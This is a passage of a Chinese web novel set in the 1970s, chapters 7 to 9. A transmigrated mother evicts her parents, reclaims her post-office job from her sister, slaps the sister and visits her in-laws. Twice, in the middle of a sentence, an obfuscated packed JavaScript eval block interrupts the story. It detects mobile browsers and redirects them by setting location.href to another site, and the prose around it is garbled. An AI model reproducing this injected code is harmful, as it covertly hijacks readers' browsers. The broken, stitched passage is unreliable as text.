《一觉醒来,孩子三岁[七零]》 7. 邮局的工作 一提苏老爷子苏母就心虚,又不敢跟苏笑笑动手,也不敢骂她,只能放狠话,“没爹没娘看婆家以后怎么欺负你!” “反正没你过分!”婆家要钱可没叫原主干活。很多时候原主主动过去帮忙,她认为男主不在家,她有义务替他孝顺公婆。 也不知道苏老爷子怎么教的。 在家闲着不舒坦吗。 苏笑笑对婆家如何苏母都看在眼里,确实没她过分。苏母无法反驳就说:“那是因为你有爹有娘,张家不敢欺负你!” 苏笑笑:“那你说这么多干嘛?等着看我后悔不就行了。” “到时候就晚了!” 苏笑笑道:“我自找的,我活该,行吗?” 苏母再次无法反驳:“你,你就使性子吧!” 苏笑笑没理她,拿着小马扎坐在厨房门边,冲小团团招手:“要不要到妈妈这里来?” 这几天苏母和张大军凶相毕露,小孩不知道他们为什么要这样,害怕他们,希望离他们远远的,所以小孩摇摇头,还冲苏笑笑招手。 苏笑笑:“你先玩儿,妈妈一会儿就过去。” 刘大军拎着几包东西出来放三轮车上。苏笑笑看他跟没看见团团似的横冲直撞,“我劝你小心点,碰到我儿子,我让你们两口子吃不了兜着走!” 刘大军:“除了会用小雪的父母和小晨的公婆威胁我们,你还会干嘛?” 苏笑笑睁大眼睛,一脸意外:“您不知道啊?我打断您二老的腿公安都不好给我定罪!因为啊,这属于家庭暴力。再加上你们早两天干的事,法官只会认为我忍无可忍,被怒火冲昏了头,失手而已!” 刘大军不知道,被她吓得哆嗦了一下。苏母出来指着苏笑笑:“敢跟你爹动手,我打断你的腿!” 苏笑笑起身抄起小马扎就砸。 苏母本能躲闪,刘大军吓得惊呼:“小心!” 小马扎砸到门边摔到屋里,苏母吓得往后跳,怒吼:“你真砸?我是你亲娘!” 苏笑笑抄起手边锄头,苏母吓得往里跑。苏笑笑转向刘大军:“刚才说啥来着?” 刘大军吓得退到菜地里团团前面。 小孩蹲在菜地边数菜叶,听到动静回过头,小马扎已经落地,没看到他妈一脸狠厉的样子,以至于一脸迷糊,仿佛问,出什么事了?爷爷怎么了啊? 苏笑笑道:“玩你的!妈妈和爷爷奶奶开玩笑呢。” 刘大军指着小马扎:“这是开玩笑?!” 苏笑笑掂起锄头,刘大军顿时连个屁都不敢放。苏笑笑去厨房找出擀面杖,随后又坐回去,左手擀面杖,右边锄头,盯着两口子收拾。 苏母哪还敢磨叽,小东西收拾好就把他们的柜子和床抬到院门外。刘旭回来,一家三口来回三趟拉的干干净净。 不过因为推着车走得慢,直到下午三点左右才离开。 最后一趟的时候赵大妈还有点不舍,毕竟跟苏母当了半辈子邻居,忍不住问:“这就走啊?” 苏母没好气地道:“再不走命都得留这儿!” 赵大妈噎了一下,无语又好笑:“哪儿的话啊。” 苏笑笑倚着门框笑着说:“真的!怕我爷爷半夜来找她!” 苏母压根不是这个意思,所以想也没想就说:“别什么事都扯你爷爷。” 苏笑笑点头:“那行。我直接找爷爷好了。”抬头喊,“爷爷啊,你在天有灵的话回来看看我吧,看看我被您闺女欺负成什么样。” 一股秋风刮过,苏母打个哆嗦,大声叫苏笑笑闭嘴。 苏笑笑嗤笑一声:“做贼心虚!”抱起扒着她的腿看热闹的小孩,“团团都不怕。” 团团一脸好奇,左右看看,都是这条胡同里的熟人:“妈妈的爷爷在哪儿?” 苏笑笑愣了一下,顿时忍不住笑喷! 赵大妈等街坊四邻也乐不可支。 苏母被笑得脸通红,催刘大军和刘旭赶紧走。 两辆车走远,苏笑笑止住笑。赵大妈叹了一口气:“你爹娘啊,真不愧是两口子,一对不懂事。可不管咋说,他们在家能帮你看着团团。他们这一走,你带着团团咋上班啊?” 苏笑笑:“我和团团商量好了,团团跟我去单位。实在不行还可以去幼儿园。” “去幼儿园也行。”赵大妈想想,“咱们这边的小学跟幼儿园挨着,回头我早点过去把团团接出来再接孙子孙女。先让团团在我家。” 苏笑笑很意外——赵大妈嫌刘大军吃绝户,不爱搭理刘大军,殊不知刘大军也不爱搭理赵大妈,嫌她碎嘴,见天儿的东家长西家短。 不过话又说回来,碎嘴和热心肠并不冲突不是吗。苏笑笑道:“那我先谢谢您。” “又不是外人,跟大妈客气啥。”赵大妈问,“我看你娘连脸盆都拿走了,你是不是得买新的?我下午没事,跟你一块去商店。” 苏笑笑想想百雀羚雪花膏、牙膏等物都要买,她带着团团一次拿不完:“那就麻烦您嘞。” 到屋里拿十几块钱,锁好门,苏笑笑牵着团团和赵大妈去商店。不但买了桶和盆,还买了几把锁。 回到家苏笑笑把原来的锁都扔破水桶里,连苏老爷子的卧室的锁也换了。 可能刘大军心里有鬼,自打苏老爷子去后他的卧室只有每年夏天晾晒东西和年底打扫房屋的时候开两次,平时一直锁的严丝合缝。 苏笑笑打开房门一股尘土味,便叫团团离远点。 团团好奇,跟苏笑笑进来。 苏笑笑不是故意占了原主的身体,还替原主守住了老爷子的家业,问心无愧,所以看到老爷子的遗照一点也不怕。 苏笑笑把遗照拿到正对门条几上放着。考虑到现如今情况特殊,她没敢把香炉拿出来。 门关上,苏笑笑就去对面便宜爹妈房中。房中除了垃圾没别的,苏笑笑打扫干净就去刘旭房中,刘旭没打算搬家具,刘大军不想留给苏笑笑,连刘晨卧室的东西也搬空了。 苏笑笑把这几间房打扫干净就忍不住啧一声。 团团此时才意识到爷爷奶奶和舅舅都走了,“妈妈,爷爷奶奶去哪儿了?” 苏笑笑:“回他们自个家了。这里是团团和妈妈的家。” “爸爸呢?” 苏笑笑笑着说:“当然也是爸爸的家。团团喜欢爷爷奶奶舅舅舅妈吗?” “不喜欢!”小孩果断摇头。 苏笑笑:“妈妈也不喜欢。以后家里只有妈妈和团团,团团想在哪儿玩在哪儿玩,还没人跟团团抢鸡蛋,团团高兴吗?” 团团高兴:“妈妈,我饿啦。” “我也饿了。” 苏笑笑拴上院门就拉着团团去厨房。 翌日清晨,苏笑笑用新锁锁上房门和院门就领着团团下馆子。 第一次下馆子,团团不敢乱看,一直窝在妈妈怀里。来了几次,团团进门就吩咐:“妈妈,坐那儿。妈妈,我要大包子,你要馃子。妈妈,我要胡辣汤,你要豆腐脑。妈妈,我们都尝尝啊!” 整个饭店全是小孩的声音。苏笑笑笑着摸摸他的小脑袋:“妈妈知道,快去坐着吧。” 小团团说的这些其实是苏笑笑这几天讲的。没想到他不但没忘,还敢说出来。 工作人员见他这样都忍不住问:“今儿有啥好事?小家伙这么高兴啊。” 苏笑笑朝小孩看一下,小孩扒着桌子往凳子上爬,也不怕摔着,“也没啥好事。来了几次不怯生了。” 工作人员想想小孩第一次来,她逗小孩,小孩吓得小脸往苏笑笑怀里钻:“对啊。以前跟个小姑娘似的。我当时还奇怪这么好看的小姑娘怎么留个小平头,跟个小子似的。没想到真是个小子。幸好我没问。” “问了也没什么。这么大的小孩容易搞混。”苏笑笑没说原主因为男主留着小平头,就觉着男主的儿子应该像爸。苏笑笑觉着小平头不错,是因为看着干净利落,给他洗头也不用担心洗时间太长他哭闹。 饭后,苏笑笑抱着小孩走一段,小孩下来跑一段,又让苏笑笑抱一会儿,娘俩就到邮局。 今儿来得早,室内除了工作人员没旁人,以至于母子二人刚到门口就被侃大山的同事看见。同事王英从里面出来就把团团接过去在小孩脸上亲一下,“小团团,吃饭了吗?” 团团很嫌弃,转身要妈妈。 王英笑着把他还给苏笑笑,又朝小孩屁股上拍一下,笑骂:“臭小子!” 小孩扭头反驳:“我不臭!团团香香的,我妈妈说的。”转过身扯苏笑笑的衣服,“妈妈你说,团团香香的。” 苏笑笑点头:“团团香香的。” 王英顿时哈哈大笑。 小孩不明所以。苏笑笑也困惑,这么好笑吗?可能王英笑点低。 王英是位三十多岁的女同志,性格大大咧咧,偏偏跟温柔贤惠的原主投脾气。当年苏母叫原主把工作转给刘晨,理由是刘晨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14384142|153238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 替苏笑笑上班不保险,仍然有可能被弄下乡。苏笑笑的这份工作是国家分配的,她上了多年学换来的,她不舍得让出去。原主又认为让出去也没什么,毕竟刘晨不是外人。犹豫不决,原主就问王英她该怎么办。 王英担心原主太实在,到家把她供出来,苏笑笑的爹娘跟苏笑笑七扯八扯,到头来她里外不是人。所以王英就说工作转给刘晨的话,团团以后没法接班。 原主不希望丈夫和孩子都在部队,就对她爹娘说不好转,主任不同意,转的话得找局长。刘大军和苏母不敢找局长,原主又老实的三棍子打不出一个屁,看起来指望不上,夫妻俩便决定先干着。 苏笑笑想起这段往事,不好意思调侃她笑点低:“刘晨来了吗?” 王英迅速收起笑容:“我们刚才就在说刘晨糊涂,结了婚就辞职,以为找到了一辈子的靠山——”突然想起苏笑笑是刘晨亲姐,“刘晨辞职你不知道啊?” 苏笑笑摇头。 王英顿时忍不住摇头叹气:“这丫头,也不知道咋想的。” 别的同事不禁说:“肯定怕笑笑知道了骂她!” 苏笑笑摇头:“都不是。” 众人朝苏笑笑看过来。 苏笑笑:“这事说来话长。” 王英立刻说:“进来说!” 苏笑笑想想一会儿得找领导,免不了要进去,便抱着团团跟过去。到了里面王英就给她一把椅子,叫她把团团放地上。 团团第一次到邮局里面看到什么都好奇,也不叫妈妈陪他玩。苏笑笑一边留意着小孩别往外跑一边说,“当年我娘怕街道叫刘晨下乡,正好团团小离不开我,我娘就叫刘晨替我上班。这事大家都知道。我担心刘晨以后霸着工作不给我,我娘就替刘晨保证等她结了婚就叫刘晨把工作还给我。因为她和我爹都有工作,到时候可以叫刘晨接班。” 说到此,王英听懂了:“刘晨不乐意?” 苏笑笑点头:“灯泡厂的工作哪有这里舒服。有人来就填单子寄件,没人来就闲聊天。我一看刘晨真不愿意还给我就要写信告诉团团的爸爸。刘晨怕他,不敢赖着不走。估计觉着被我撵走说出去不好听,就跟你们说这工作她不想干了。” 王英不禁说:“难怪呢。我就说她不对劲,早几天请我们吃饭还高高兴兴的,咋就突然嫌弃上了。” 苏笑笑趁机道:“要说这事还得谢谢王大姐,当初不是您提醒我工作给了她以后团团大了没法接班,这回我是如来佛祖也拿她没办法!” “嗳,说这些干啥。主要还是在你自己。换成别人,我说破大天去,她不听我也没办法。”王英突然想起什么,“刘晨不干了,你能接着干吗?” 苏笑笑点头:“她说辞职其实就是跟领导说以后不来了。” 王英不禁说:“对!她用你的名,真辞职必须你出面签字。” 苏笑笑趁机表示她找领导问问哪天来上班。 王英等人叫苏笑笑快去,他们帮她看着团团。 主任压根不知道刘晨今儿没来。苏笑笑跟他说刘晨不干了,主任愣了片刻才意识到刘晨都没跟他打声招呼就走了。 主任气得一时无语。随后问刘晨出什么事了。苏笑笑把她跟王英说的话又重复一遍。主任忍不住吐槽:“她结婚的时候我还给了两块钱。你这妹妹,真不讲究!” 苏笑笑:“讲究的人会在结婚后主动把工作还回来,而不是叫我三催四请!” “这,真是——”主任看了看面带微笑的苏笑笑,“一样米养百样人!” 苏笑笑不在意地笑着说:“都过去了。主任,您看我哪天来合适?” “下周一吧。”主任想了想,“名字是你的,也不用办手续。回头我跟会计说一声,发工资的时候这个月工资直接给你。” 苏笑笑就准备说工资的事。闻言她便不再打扰主任工作。 苏笑笑有原主记忆,而且邮寄工作也简单,回到前台看王英忙一会儿就上手了。快到中午,苏笑笑带着团团回去。 家里没鸡蛋没肉票,苏笑笑绕到菜市场买一条鱼。看到螃蟹,她又买两个螃蟹。 左手牵着孩子,右手拎着吃的,到胡同口,苏笑笑停下。 小孩奇怪妈妈怎么不走了,扭头朝前看,“小姨?” “谁是你小姨!”刘晨走近两步没好气地说。 小孩吓呆住。苏笑笑看着心疼,蹲下单手抱起小孩,面色不快:“有事没事?没事滚!” 8. 笑笑打人 刘晨来找苏笑笑有正事,闻言立刻收起张牙舞爪丑陋的嘴脸,不甘不愿地问:“你是不是还没去邮局上班?” “你是不是又想回去上班?”苏笑笑直截了当地问。 刘晨的呼吸一顿,心说我表现得这么明显吗。 “你当我稀罕。”刘晨脱口而出,意识到说了什么又恨不得朝自个嘴上一巴掌,破嘴怎么就这么快呢。 苏笑笑:“你爹娘不在我这儿,你的东西也不在我这儿,除了工作还有别的事值得你亲自跑一趟?” “你——我是为你好。”刘晨朝团团看一眼,“他这么小没法去幼儿园,把他带去邮局也没人帮你照顾,邮局从上午九点到下午四点特别忙。要我说不如让我再干一年,工资分你一半,明年娘退休了我把工作还给你,他正好去幼儿园。” 苏笑笑气乐了,闹了半天真想回去上班。 “晚了!”苏笑笑道,“主任已经知道你不干了,让我下周一去上班。” 刘晨不敢置信:“不可能!” “怎么不可能?”苏笑笑道,“不信问王英。” 刘晨看着她手里的鱼,“你还去邮局了?” 苏笑笑点头:“从邮局回来绕到菜市场买点菜。肉和蛋都被你爹娘和嫂子吃光了,我总要买点好东西给团团补身子。” “不是,昨天下午下班前我才说不干,今儿你就去,你就这么着急?”刘晨忽然想起什么,“你咋知道我今天没去?特意盯着我呢?” 脸真大!苏笑笑心说不愧是刘大军的闺女。原主要不是在苏老爷子跟前长大,十有八/九跟她爹妈一个德行,“首先,我的工作,什么时候要回来是我的自由。其次,我没那么闲。今天我去邮局的目的是提醒你别忘了你只有一周时间。没想到这次你这么懂事,昨儿就把工作辞了!” “还是我的错?”刘晨想也没想就问。 苏笑笑一阵无语,难不成是她的错?小肉墩太重,苏笑笑把小孩放地上,拉着小孩的手。团团怕他姨,另一只手抱住妈妈的腿。苏笑笑低声说:“不怕啊。我们有爸爸。” 刘晨不由得想起她远在东海的姐夫,五官棱角分明,身材高大,看起来就有担当,关键当兵期间在军官指挥学院深造了几年,将来不管转业还是一直留在部队都不会太差。 苏笑笑净等着享福吧。 可自己呢,只能嫁给临时工袁大庆。 同样是孙女,凭什么连苏家这处房子都归了苏笑笑?凭苏笑笑比她早出生五年吗。要不是爷爷护着,就苏笑笑的脑子被人卖了还帮人数钱。 越想越酸,刘晨忍不住说:“有能耐叫他爸现在过来!” 这都是哪跟哪儿啊?苏笑笑懒得吐槽,直接问:“这么着急回去工作,是不是你公婆说没工作就叫袁大庆和你离婚?” 刘晨的脸色微变:“他敢!”不待苏笑笑反驳,“他当婚姻是儿戏想结就结想离就离?我看是你巴不得我离婚。” 苏笑笑心说,我脑子有病吗,你离婚对我有什么好处?我巴不得你和袁大庆锁死,省得两个心思不正的人祸害别人。 心思不正?凭袁大庆知道刘晨非邮局正式工之后就对刘晨嫌弃的样儿,就可以说明他娶刘晨目的不纯。正常情况下,他要么当理中客,要么心疼刘晨,宽慰她等一年多接班,而不是想和刘晨离婚。 苏笑笑之前就看出袁大庆的态度不对劲,不过当时她一门心思想着对付爹娘,就没往这方面想。 袁大庆和刘晨并非自由恋爱,而是经人介绍相亲认识。袁家父母不可能不打听刘晨的情况。说明袁家父母和袁大庆的态度一样。 要是刘晨和袁大庆天天狗咬狗,跟斗鸡似的把袁家闹得不得安宁,也是袁家自找的。 苏笑笑顿时没了心理负担,“首先,你的婚姻握在你手里,你不想离,我天天烧香拜佛扎小人也没用。” “说得好听!现在是我不想离的事吗?”刘晨越想越气不过,“你就说实话,那工作你让不让我再干一年?” 苏笑笑不客气地说:“我不干也不会让给你!” “苏笑笑,别太过分!不管怎么说我都是你亲妹!” 苏笑笑看着她两手空空,“嫁出去的妹妹拜访姐姐都不知道给姐姐的孩子买一包糖?你算哪门子亲妹?” 刘晨被问住。 说起来也不怪刘晨,以前刘晨想过给团团压岁钱。她妈的意思苏笑笑有钱,她的工资留她自己用。也想过买衣服,她听同事提过。刘大军的意思小孩子长得快,新衣服还没穿旧就穿不上了,买多了浪费。 久而久之,刘晨习惯了从苏笑笑这里索取。 苏笑笑道:“看在你以前帮我照看过团团的份上,我提醒你,不想离婚有的是办法,来烦我是下下策!” 刘晨不信苏笑笑这么烦她还会好心提醒她,“别站着说话不腰疼!换成张怀民跟你离婚,我不信你不找我和爹娘帮忙!” 苏笑笑乍一听到“张怀民”三个字愣了一下,然后才想起男主叫张怀民。他还有个弟弟叫张新民,妹妹叫张爱民。光看名字男主兄妹几个就比苏笑笑姐弟仨像一家人。 在原主记忆中张新民和张爱民对她和孩子很客气。苏笑笑总感觉这种客气带着疏离,更像是把她和团团当客人。 不过当务之急是解决眼前的刘晨,不把她打发走,她和团团甭想回家做饭。 苏笑笑:“自己蠢还好意思怪别人。袁大庆是不是怪你骗婚?你不会说过两年你接了班就是正式工,你都没嫌弃他个临时工,他有啥资格嫌弃你!” “我现在没工作!”刘晨不禁抬高声音,“这么会说回头你接妈的工作!” 去你妈的!苏笑笑在心里骂一句,“你不会真以为袁大庆娶你,你公婆对你很热情是因为你是邮局正式工吧?是因为你是张怀民的妻妹!袁大庆要跟你离婚是因为看到我烦你!他娶你就没安好心!” 刘晨不信:“关他什么事?” “你说张怀民?”苏笑笑耐着性子说,“当然是看中他的人脉。刘旭的工作哪来的?不是团团的爸帮忙安排的?袁家人会不会认为他能安排一个就能安排第二个?袁大庆都要跟你离婚了,你还不跟他闹?” 刘晨怀疑苏笑笑没安好心,巴不得她跟袁大庆大打出手。可她此时又没有别的办法。早上去灯泡厂找爹娘,爹娘让她先忍忍。长这么大刘晨都不知道“忍”字怎么写,让她忍还不如让她下乡,“跟他闹对我有啥好处?” “你公婆是体面人,怕你闹大。为了安抚你他们会叫袁大庆再忍忍。你吃他的喝他的,不就不用花你的钱?过了一年半载,你娘退休,你有了工作再跟他离婚,还怕找不到对象?”苏笑笑又补一句,“前提你别太过分,见好就收!” 刘晨半信半疑:“没用——” “没用找你爹娘去!”苏笑笑说够了,“再烦我我就报警!” 刘晨轻笑一声:“你当我吓大的?这点小事找公安,公安局是你家开的?” 苏笑笑:“容我提醒你,公安以前是军人,现在也归军管,四舍五入我是公安家属!” 刘晨脸上的笑定格,“显摆啥啊。要不是爷爷,你——” “你不配喊爷爷。你应该喊外祖父!”苏笑笑再次打断。 刘晨冷不丁想起她姓“刘”,顿时不禁埋怨她爹,好好的改什么姓。刘晨又不甘落于下风,“把我们都赶走有你哭的时候!” 苏笑笑乐了,“不愧是你妈生的,跟她一样只会放狠话!” “你不是妈生的?” 苏笑笑:“有妈生没妈养!” “你,说话别太难听!”刘晨要气炸了,条件反射般指着苏笑笑,“否则别怪我不客气!” 跟谁不客气?苏笑笑抬手朝她手上一巴掌。 刘晨从小到大没挨过苏笑笑的打,这一巴掌让她脑袋嗡一声,上前就撕苏笑笑。团团吓得大喊“妈妈!”苏笑笑把鱼和螃蟹一扔,抓住刘晨往一旁拽,以免伤着团团。 刘晨下意识挣扎,苏笑笑眼看刘晨的手挠到自己的脸,气得抬手就是一巴掌。 啪一声,刘晨停下,难以置信地捂住脸。 苏笑笑看看手,难怪打出去的触感是软的。亏得刚才那一霎那她还奇怪刘晨的脑袋怎么没长毛。 苏笑笑不后悔朝她脸上招呼:“还想再来一巴掌?” 刘晨朝小孩看去。苏笑笑闪身挡在团团前面,“敢动团团一下,我让你竖着进来横着出去!” 刘晨不敢,咬牙道:“给我等着!” 苏笑笑:“等着你离婚?” 刘晨瞬间想起孰轻孰重,顾不上跟她纠缠:“苏笑笑,你说的办法没用,我就去你小叔子和小姑子单位大闹。你会的我也会!” 苏笑笑:“我小叔子和小姑子是军属。不怕你就去!” 刘晨推起车子的手僵住,显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14384143|153238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然忘了这一点。她不希望被苏笑笑看出来她怂了,上了车子就走。 “妈妈!”团团慌忙抓住苏笑笑的手。 苏笑笑怕这么点的孩子吓掉魂,赶紧把小孩搂怀里:“不怕,不怕,有妈妈在,没人敢欺负团团。” “小姨为什么欺负妈妈?”团团不明白。 苏笑笑没法跟这么小的孩子解释,干脆说:“她脑子有病,以后见着她离远点。” 团团从妈妈怀里出来,小脸上全是困惑:“小姨没吃药吗?” 苏笑笑正准备去捡鱼和螃蟹,闻言停下,这孩子咋还当真了啊。苏笑笑忍着笑,拉着他的小手去捡地上的东西,“你小姨怕吃药!” “小姨那么大啊!”团团震惊。 苏笑笑点头:“你奶奶爷爷小舅和小舅妈都怕吃药。以后见着他们也离远点啊。别被他们传染病了。” 团团好奇地问:“爷爷奶奶回他们家,是怕传染给我吗?” 苏笑笑一边开锁一边说:“妈妈怕他们把你传染病了,叫他们搬出去。说起来他们算是被妈妈撵走的。团团,妈妈是不是很坏?” 小孩果断摇头:“妈妈不坏!爷爷奶奶骂妈妈,小姨骂妈妈,舅妈抢团团的好吃的,他们坏!” “那妈妈好啊?” 小孩使劲点头:“妈妈最好!妈妈和奶奶吵架,团团有鸡蛋吃,妈妈最棒!” 苏笑笑顿时想问,这话跟谁学的。估计他自个也不记得,苏笑笑道:“团团也棒。棒棒的团团可以自己玩儿吗?妈妈杀鱼!” “我帮妈妈杀鱼!” 苏笑笑摇头:“不行啊。你拿不住。”说完就把鱼给他。小孩没拿住,鱼掉地上扑通几下,小孩吓得跳起来大喊,“妈妈,鱼活了!” 苏笑笑心说,鱼又没死。 “没咬到你吧?” 小孩摇头:“妈妈,鱼儿跑了,抓住它!” 苏笑笑捏住去厨房,“你在院里玩儿。” 小孩跟去厨房。 苏笑笑叫他坐小马扎上。 小孩不敢靠近鱼,便乖乖坐下。 苏笑笑不由得想起上辈子玩具不离手的侄子侄女。苏笑笑沉吟片刻,洗洗手去卧室拿一个糖塞小孩嘴里。小孩嗦一口拿出来叫苏笑笑尝尝。苏笑笑一脑门黑线,“你先吃。妈妈做饭。团团,吃面还是喝粥啊?” 小孩这几天一吃面就有荷包蛋,他想吃蛋就说吃面。 苏笑笑庆幸昨儿买了一把挂面,不用辛苦和面擀面条。说实话要不是有原主记忆,苏笑笑只能天天下馆子,因为她上辈子不会和面,也没炒过几次菜。在家哥嫂或父母做饭,在外就点外卖或者去店里吃。 鱼收拾好,苏笑笑又把两只螃蟹刷干净就准备配菜。 幸好院里有葱蒜。 苏母搬走那天不是没打过菜的主意。苏笑笑防着她这一点,苏母没法下手,所以院里的菜足够苏笑笑和团团过冬。 先用猪油煎鱼,然后鱼汤煮面,面出锅前,苏笑笑放青菜和一点蒜苗,最后又淋一点芝麻油。 鱼汤面很烫,苏笑笑和团团先吃螃蟹。苏笑笑把螃蟹里头不能吃的剔掉,一掰两半,递给团团。团团不敢吃,眼巴巴看着妈妈。苏笑笑掰一半跟团团碰一下:“看妈妈怎么吃。” 她咬一口,团团咬一口。苏笑笑觉着螃蟹鲜美,团团不这样认为,吃得直皱眉。 苏笑笑明知故问:“不好吃啊?” 小孩二话不说把另一半移到妈妈面前:“我要吃面!” 苏笑笑想笑,这孩子像谁啊。 “团团,明天去奶奶家好不好?”苏笑笑打算趁着这几日有空去会会张家人,能弄到钱就弄,弄不到钱借机撕破脸也好。 小孩疑惑,妈妈不是怕他被爷爷奶奶传染生病吗。 苏笑笑:“我说的是爸爸的爸爸妈妈家。还记得小叔和小姑吗?” 小孩记得:“小叔给我买糖,小姑给我买山楂片!” “小叔和小姑比舅舅小姨好?” 小孩毫不犹豫地点头。 看来不能用对付刘大军等人的办法对付张家。先不说男主知道了会怎么想,团团也有可能把她当成恶人。 此刻苏笑笑也不知道该怎么办,在原主记忆中张家要钱也好,任由原主干活也罢,都很有分寸让人挑不出刺。偏偏苏笑笑现在回想起来又很不舒服,就像一口气堵在嗓子眼上不去下不来。 9. 意外顺利 琢磨了许久,苏笑笑决定先礼后兵,让张家挑不出刺。 翌日清晨,苏笑笑和团团吃过早饭就乘公交车去供销社。 这年头酒不好弄,苏笑笑买一盒红太阳的点心,买两瓶麦乳精和两瓶水果罐头,又给张家小孩买一袋糖。 苏笑笑特意从家里拿个碎步拼成的包,看起来挺大的包塞得满满的。团团一看到这么多好吃的很是兴奋,非要帮妈妈拿。 苏笑笑递给他,小孩拎不动,一屁股坐地上。苏笑笑忍着笑把他拽起来,明知故问:“团团,咋了?” 团团要哭给他妈看,好丢脸呀,大庭广众之下啊。 苏笑笑见状赶忙抱起他拎着东西出去。 幸好原主常年干活力气大,她前世经常抱孩子不缺经验。 到外面,苏笑笑把小孩放地上:“妈妈拎东西,团团自己走行吗?” 小孩仍然有点尴尬,难得没有“妈妈妈妈”喊个不停,闷头朝公交站牌走去。 张家离苏家听起来远,将近三公里,其实很方便,不需要转车。 公交车停在张家所在的胡同前面,苏笑笑和小孩下车。 不久前中秋节第二天原主带小孩来过,团团记得路,下了车就往里跑,到胡同口就迫不及待地喊“爷爷奶奶”。 在胡同里聊天的大爷大妈朝胡同口看一眼就喊:“老张,大孙子来了。” 六十来岁的老大爷转过身,看到团团就露出笑意,可当他注意到团团身后不远处的苏笑笑,笑意凝固,接着跟没看见她似的蹲下去拍拍手等着接团团。 苏笑笑的视力极好,便宜公爹老张的转变她看得一清二楚,心说原主付出了那么多钱和精力,张家人还不待见她吗。 难道因为邻居的那句“大孙子”?男主的弟弟张新民只有一个女儿。听张新民的意思不打算再生。那以老人的观念日后只能指望团团继承香火,可团团又姓苏,张家没法责怪啥也不懂的团团,就迁怒于原主。 苏笑笑越想越有可能。 以防自以为是先入为主,苏笑笑决定继续她的计划——先礼后兵。 到跟前,苏笑笑喊一声“爸”。老张挤出一丝笑:“来了啊?咋买这么多东西?” 邻居大爷嘴快:“买来孝敬你的!” 老张扯了扯嘴角,笑得很不走心,不咸不淡地说:“进屋吧。你妈在里面。” 老张两鬓斑白,今年六十周岁,月前从电工岗位上退下来,苏笑笑想起这些就提醒小孩:“团团,别总让爷爷抱。” 老张立刻说:“没事,我抱得动!” 得!又招人烦了。苏笑笑点点头,拎着东西进去。 小孩没发现大人之间的微妙,邻居们也没发现,误以为公爹跟儿媳妇平时就这么相处。所以团团要进屋,邻居打趣是不是去吃好吃的,接着就劝老张带孙子进屋。 苏笑笑进院,在院里纳鞋底的婆婆起身,看起来很热情,招呼着“来了”,接着又数落,“咋买这么多东西啊。”然而人没往前迈一步,典型的言行不一。 这就是原主记忆中的公婆一家很和善?跟刘大军等人比起来确实客气热情。至少会招呼一句,而不是像刘大军动辄大呼小叫。 苏笑笑把东西递过去。她婆婆很不客气地接过去,随口招呼苏笑笑去堂屋。 到屋里,婆婆打开看一下,大概没想到都是贵重物品,看起来便宜的糖也是奶糖,波澜不惊的神色终于有了变化:“怎么买这么多?” 跟之前说的那句差不多,不过口气明显变了。 苏笑笑道:“应该的。”沉吟片刻,觉得早说早了,“其实我和团团今天来还有点事麻烦爸妈。” 老张抱着团团进来正好听到这句,“啥事?”看起来随口一问,然而在他问出口的同时把团团放地上,让小孩找苏笑笑,他到妻子身边坐下,神色严肃跟三堂会审似的。 苏笑笑当没看见,反正她不怕得罪公婆。她有工作有存款,即便男主跟她离婚,她也能把团团养大。 只是不能三天两头下馆子。 苏笑笑把团团抱怀里,说:“我爹娘工资低,之前我妹没工作,我弟妹又怀孕了,花钱的地方多,怀民寄的钱被他们花的七七八八,我和团团再用点,就没存着钱。” 老两口相视一眼,借钱吗?但没接这茬,等她继续。 苏笑笑见状总感觉再说一句,她便宜公爹就得来一句“没钱找你爹娘要去。”苏笑笑先说,“我跟爹娘说以后怀民寄的钱我自己收着。他们不愿意,骂我没良心,不知道孝顺爹娘,我一气之下就让他们滚——” 两口子顿时露出一副“什么玩意?我们没听清,你再说一遍。”的样子。 苏笑笑见状不禁疑惑,有这么不可思议吗。 泥人也有三分土性。她把人撵走,赵大妈都不曾有一丝怀疑,公婆竟然不信?苏笑笑犹豫片刻,半真半假地说,“我知道不应该为了这点小事把他们赶出去。可是我想给团团扯布做身衣服,只要几块钱,我爹娘都不舍得。我弟妹更过分,竟然抢团团的鸡蛋。团团,你说。” 团团转向妈妈:“说什么呀?” “鸡蛋啊。你舅妈。” 团团转向爷爷奶奶:“舅妈坏,天天吃团团的鸡蛋。” 苏笑笑道:“团团尝一口都不行。” 老两口面面相觑,过了好一会儿,苏笑笑的婆婆开口,“你弟也搬出去了?” 苏笑笑:“小雪的哥嫂在农场,她父母身边需要人。” 婆婆眼神闪烁了一下,又问:“你妹呢?” “她嫁人了啊。”苏笑笑忽然想到一种可能,公婆一直不接茬问她有没有钱,是怕她以后三天两头借钱,“她也把工作还给我了。下下个月我手头就宽裕了。” 老张不禁抬高声音:“工作还你了?” 苏笑笑点点头。 “那她怎么办?”老张显然不信。 苏笑笑想想原主的脾气以及刘晨的德行,换成她是公爹也不信刘晨这么痛快,“她想让我去灯泡厂上班。我说团团的爸今年还没休假,兴许下个月就回来,她可能害怕团团的爸,昨天就把工作还给我。下周一我就可以去邮局上班。她以后接我爸妈的班。” 老两口又互相看看。 苏笑笑耐心告罄,心说给不给?不给我回去就给男主写信大骂老张家欺负孤儿寡母。 老张转过头问:“你是不是需要钱?” 